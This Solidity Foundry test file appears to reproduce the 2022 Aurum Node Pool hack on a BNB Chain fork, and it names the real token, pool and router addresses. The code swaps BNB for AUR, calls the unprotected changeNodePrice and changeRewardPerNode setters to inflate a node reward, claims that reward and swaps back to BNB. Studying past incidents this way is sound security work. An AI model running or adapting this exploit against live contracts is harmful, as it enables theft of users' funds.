src/test/2022-11/AUR_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://twitter.com/AnciliaInc/status/1595142246570958848
9// @TX
10// https://phalcon.blocksec.com/tx/bsc/0xb3bc6ca257387eae1cea3b997eb489c1a9c208d09ec4d117198029277468e25d
11// https://phalcon.blocksec.com/tx/bsc/0x7f031e8543e75bd5c85168558be89d2e08b7c02a32d07d76517cdbb10e279782
12interface IAurumNodePool {
13    struct NodeEntity {
14        uint256 nodeId;
15        uint256 creationTime;
16        uint256 lastClaimTime;
17    }
18 
19    function createNode(
20        uint256 count
21    ) external;
22    function changeNodePrice(
23        uint256 newNodePrice
24    ) external;
25    function changeRewardPerNode(
26        uint256 _rewardPerDay
27    ) external;
28    function claimNodeReward(
29        uint256 _creationTime
30    ) external;
31 
32    function getRewardAmountOf(address account, uint256 creationTime) external view returns (uint256);
33    function getNodes(
34        address account
35    ) external view returns (NodeEntity[] memory nodes);
36}
37 
38contract ContractTest is Test {
39    IERC20 AUR = IERC20(0x73A1163EA930A0a67dFEFB9C3713Ef0923755B78);
40    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
41 
42    IAurumNodePool AurumNodePool = IAurumNodePool(0x70678291bDDfd95498d1214BE368e19e882f7614);
43    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
44 
45    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
46 
47    function setUp() public {
48        cheats.createSelectFork("bsc", 23_282_134);
49        cheats.deal(address(this), 0.01 ether);
50    }
51 
52    function testExploit() public {
53        AUR.approve(address(AurumNodePool), type(uint256).max);
54        AUR.approve(address(Router), type(uint256).max);
55 
56        emit log_named_decimal_uint("[Start] Attacker BNB balance before exploit", address(this).balance, 18);
57 
58        BNBtoAUR(0.01 ether);
59 
60        AurumNodePool.changeNodePrice(1_000_000_000_000_000_000_000);
61        AurumNodePool.createNode(1);
62 
63        IAurumNodePool.NodeEntity[] memory nodes = AurumNodePool.getNodes(address(this));
64 
65        cheats.roll(23_282_171);
66        cheats.warp(1_669_141_486);
67 
68        AurumNodePool.changeRewardPerNode(434_159_898_144_856_792_986_061_626_032);
69 
70        emit log_named_uint(
71            "AurumNodePool Attacker reward:", AurumNodePool.getRewardAmountOf(address(this), nodes[0].creationTime)
72        );
73 
74        require(block.timestamp > nodes[0].lastClaimTime);
75 
76        AurumNodePool.claimNodeReward(nodes[0].creationTime);
77 
78        AURtoBNB();
79 
80        emit log_named_decimal_uint("[End] Attacker BNB balance after exploit", address(this).balance, 18);
81    }
82 
83    function BNBtoAUR(
84        uint256 amount
85    ) internal {
86        address[] memory path = new address[](2);
87        path[0] = address(WBNB);
88        path[1] = address(AUR);
89        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
90            0, path, address(this), block.timestamp + 60
91        );
92    }
93 
94    function AURtoBNB() internal {
95        address[] memory path = new address[](2);
96        path[0] = address(AUR);
97        path[1] = address(WBNB);
98        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
99            AUR.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
100        );
101    }
102 
103    fallback() external payable {}
104}